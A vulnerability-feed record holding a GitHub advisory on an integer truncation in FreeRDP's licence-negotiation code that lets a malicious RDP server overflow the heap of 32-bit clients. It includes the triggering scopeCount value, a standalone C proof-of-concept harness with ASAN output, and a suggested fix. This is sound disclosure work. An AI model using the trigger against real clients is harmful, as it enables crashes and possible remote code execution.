{"schema":"threatline.record/2","record":{"id":"GHSA-hxw3-57rq-3v4m","aliases":["GHSA-hxw3-57rq-3v4m"],"summary":"Integer Truncation in license_check_stream_length leading to out of bound write on 32-bit Platforms","details":"### Summary\r\n\r\nhey,\r\n\r\nan integer truncation vulnerability in license_check_stream_length allows a malicious rdp server to trigger a heap buffer overflow on any 32-bit freerdp client during license negotiation, leading to denial of service and potentially remote code execution.\r\n\r\nthe function takes a SSIZE_T parameter for the expected stream length. on 32-bit platforms, SSIZE_T is a 32-bit signed integer. when license_read_scope_list passes the 64-bit long long expression 4ll * scopeCount as this parameter, implicit narrowing truncation discards the high 32 bits. a crafted scopeCount value bypasses the stream length validation after truncation. the subsequent realloc in license_scope_list_resize also overflows on 32-bit, allocating a tiny buffer. the following loop then writes scopeCount pointers into this undersized allocation, causing a heap buffer overflow.\r\n\r\naffected versions: <= 3.31.1 on 32-bit builds including arm32, x86, mips32, etc. 64-bit builds are not affected because SSIZE_T is 64-bit and the realloc multiplication does not wrap.\r\n\r\n### Details\r\n\r\nin license_read_scope_list at license.c:1724, the server-supplied scopeCount is read from the stream:\r\n\r\n    Stream_Read_UINT32(s, scopeCount);\r\n\r\n    if (!license_check_stream_length(log, s, 4ll * scopeCount, \"license scope list::count\"))\r\n        return FALSE;\r\n\r\nlicense_check_stream_length at license.c:511 takes SSIZE_T expect:\r\n\r\n    static BOOL license_check_stream_length(wLog* log, wStream* s, SSIZE_T expect, const char* where)\r\n\r\non 32-bit platforms, SSIZE_T is int32_t or long, a 32-bit type. the expression 4ll * scopeCount produces a 64-bit long long value, but it is implicitly truncated when passed as SSIZE_T.\r\n\r\nwith scopeCount = 0x40000001:\r\n- 4ll * 0x40000001 = 0x100000004, a 64-bit value\r\n- truncated to 32-bit SSIZE_T: 0x00000004, just 4\r\n- the stream length check passes if >= 4 bytes remain\r\n- the expect < 0 negativity check also passes since 4 is positive\r\n\r\nlicense_scope_list_resize at license.c:1806 then allocates:\r\n\r\n    LICENSE_BLOB** tmp = (LICENSE_BLOB**)realloc((void*)scopeList->array, count * sizeof(LICENSE_BLOB*));\r\n\r\non 32-bit, count = 0x40000001 and sizeof pointer = 4:\r\n- 0x40000001 * 4 = 0x100000004, wraps to 4 bytes on 32-bit size_t\r\n- realloc allocates only 4 bytes\r\n\r\nthe loop at lines 1818-1826 writes 0x40000001 pointers into this 4-byte buffer:\r\n\r\n    for (UINT32 x = scopeList->count; x < count; x++) {\r\n        LICENSE_BLOB* blob = license_new_binary_blob(BB_SCOPE_BLOB);\r\n        if (!blob) { ... }\r\n        scopeList->array[x] = blob;\r\n    }\r\n\r\nthis causes massive heap corruption. the loop will eventually fail when calloc returns NULL from memory exhaustion on 32-bit, but significant heap metadata corruption occurs before that point.\r\n\r\na malicious rdp server waits for a client connection and responds with a crafted SERVER_LICENSE_REQUEST containing scopeCount = 0x40000001 or similar values that cause the truncation to produce a small positive number. no authentication is required since license negotiation happens before credential exchange.\r\n\r\nsuggested fix: change the parameter type of license_check_stream_length from SSIZE_T to INT64 or size_t to prevent truncation. alternatively, add an explicit overflow check before the function call:\r\n\r\n    if (scopeCount > SIZE_MAX / 4)\r\n        return FALSE;\r\n\r\n### PoC\r\n\r\ntest_overflow.c is a standalone harness that extracts the vulnerable code path from license.c and reproduces the truncation and heap overflow without requiring a live FreeRDP binary or RDP server.\r\n\r\n```c\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <stdint.h>\r\n#include <string.h>\r\n\r\ntypedef int32_t SSIZE_T;\r\ntypedef uint32_t UINT32;\r\ntypedef uint16_t UINT16;\r\ntypedef uint8_t BYTE;\r\ntypedef int BOOL;\r\n#define TRUE 1\r\n#define FALSE 0\r\n\r\ntypedef struct {\r\n    UINT16 type;\r\n    UINT16 length;\r\n    BYTE* data;\r\n} LICENSE_BLOB;\r\n\r\ntypedef struct {\r\n    LICENSE_BLOB** array;\r\n    UINT32 count;\r\n} SCOPE_LIST;\r\n\r\nstatic BOOL license_check_stream_length(size_t remaining, SSIZE_T expect, const char* where) {\r\n    if (expect < 0) {\r\n        fprintf(stderr, \"%s: expect=%d negative\\n\", where, expect);\r\n        return FALSE;\r\n    }\r\n\r\n    if (remaining < (size_t)expect) {\r\n        fprintf(stderr, \"%s: remaining=%zu < expect=%d\\n\", where, remaining, expect);\r\n        return FALSE;\r\n    }\r\n\r\n    fprintf(stderr, \"%s: remaining=%zu >= expect=%d\\n\", where, remaining, expect);\r\n    return TRUE;\r\n}\r\n\r\nstatic LICENSE_BLOB* license_new_binary_blob(UINT16 type) {\r\n    LICENSE_BLOB* blob = (LICENSE_BLOB*)calloc(1, sizeof(LICENSE_BLOB));\r\n    if (blob)\r\n        blob->type = type;\r\n    return blob;\r\n}\r\n\r\nstatic BOOL license_scope_list_resize(SCOPE_LIST* scopeList, UINT32 count) {\r\n    if (count > 0) {\r\n        LICENSE_BLOB** tmp = (LICENSE_BLOB**)realloc(scopeList->array, count * sizeof(LICENSE_BLOB*));\r\n        if (!tmp)\r\n            return FALSE;\r\n        scopeList->array = tmp;\r\n    }\r\n\r\n    for (UINT32 x = scopeList->count; x < count; x++) {\r\n        LICENSE_BLOB* blob = license_new_binary_blob(0x00FF);\r\n        if (!blob)\r\n            return FALSE;\r\n        scopeList->array[x] = blob;\r\n    }\r\n\r\n    scopeList->count = count;\r\n    return TRUE;\r\n}\r\n\r\nint main(void) {\r\n    UINT32 scopeCount = 0x40000001;\r\n    size_t stream_remaining = 100;\r\n\r\n    fprintf(stderr, \"sizeof(SSIZE_T)=%zu  sizeof(void*)=%zu  sizeof(size_t)=%zu\\n\", sizeof(SSIZE_T), sizeof(void*), sizeof(size_t));\r\n    fprintf(stderr, \"scopeCount = 0x%08X\\n\", scopeCount);\r\n    fprintf(stderr, \"4LL * scopeCount = 0x%llX\\n\", (unsigned long long)(4LL * scopeCount));\r\n    fprintf(stderr, \"(SSIZE_T)(4LL * scopeCount) = %d\\n\\n\", (SSIZE_T)(4LL * scopeCount));\r\n\r\n    if (!license_check_stream_length(stream_remaining, 4LL * scopeCount, \"license scope list::count\"))\r\n        return 1;\r\n\r\n    fprintf(stderr, \"\\ntruncation bypassed the check, calling license_scope_list_resize...\\n\");\r\n    fprintf(stderr, \"realloc size: 0x%08X * %zu = 0x%zX\\n\", scopeCount, sizeof(LICENSE_BLOB*), (size_t)(scopeCount * sizeof(LICENSE_BLOB*)));\r\n\r\n    SCOPE_LIST scopeList = {0};\r\n    license_scope_list_resize(&scopeList, scopeCount);\r\n\r\n    return 0;\r\n}\r\n```\r\n\r\ncompile as 32-bit with ASAN:\r\n\r\n    gcc -m32 -fsanitize=address -g -o test_overflow test_overflow.c\r\n    ./test_overflow\r\n\r\nasan output from test_overflow on 32-bit x86:\r\n\r\n    sizeof(SSIZE_T)=4  sizeof(void*)=4  sizeof(size_t)=4\r\n    scopeCount = 0x40000001\r\n    4LL * scopeCount = 0x100000004\r\n    (SSIZE_T)(4LL * scopeCount) = 4\r\n\r\n    license scope list::count: remaining=100 >= expect=4\r\n\r\n    truncation bypassed the check, calling license_scope_list_resize...\r\n    realloc size: 0x40000001 * 4 = 0x4\r\n    ==749==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5400794\r\n    WRITE of size 4 at 0xf5400794 thread T0\r\n        #0 in license_scope_list_resize test_overflow.c:58\r\n        #1 in main test_overflow.c:85\r\n\r\n    0xf5400794 is located 0 bytes after 4-byte region [0xf5400790,0xf5400794)\r\n    allocated by thread T0 here:\r\n        #0 in realloc\r\n        #1 in license_scope_list_resize test_overflow.c:48\r\n\r\n    SUMMARY: AddressSanitizer: heap-buffer-overflow test_overflow.c:58\r\n    in license_scope_list_resize\r\n\r\n### Impact\r\n\r\nheap buffer overflow via out-of-bounds pointer writes. on 32-bit platforms, this can lead to denial of service via crash and potentially remote code execution through heap corruption.\r\n\r\naffected platforms include android arm32 devices, raspberry pi with 32-bit os, embedded linux systems, and 32-bit windows builds of freerdp.","categories":["Unclassified"],"product":"freerdp","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-hxw3-57rq-3v4m","source_modified_at":"2026-09-28T08:04:13Z","fetched_at":"2026-10-24T00:31:04.721601Z","package":{"ecosystem":"","name":"freerdp"},"range":"<= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-hxw3-57rq-3v4m","source_modified_at":"2026-09-28T08:04:13Z","fetched_at":"2026-10-24T00:31:04.721601Z","package":{"ecosystem":"","name":"freerdp"},"version":"3.32.0"}],"cvss":5.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-28T08:04:13Z","modified_at":"2026-09-28T08:04:13Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-hxw3-57rq-3v4m","fetched_at":"2026-10-24T00:31:04.721601Z","source_modified_at":"2026-09-28T08:04:13Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-28T08:04:13Z","content_hash":"6be29c25b5e1844d216d06120ae40d853b23e703c7d827e1496c76c5730ee9ec"}}
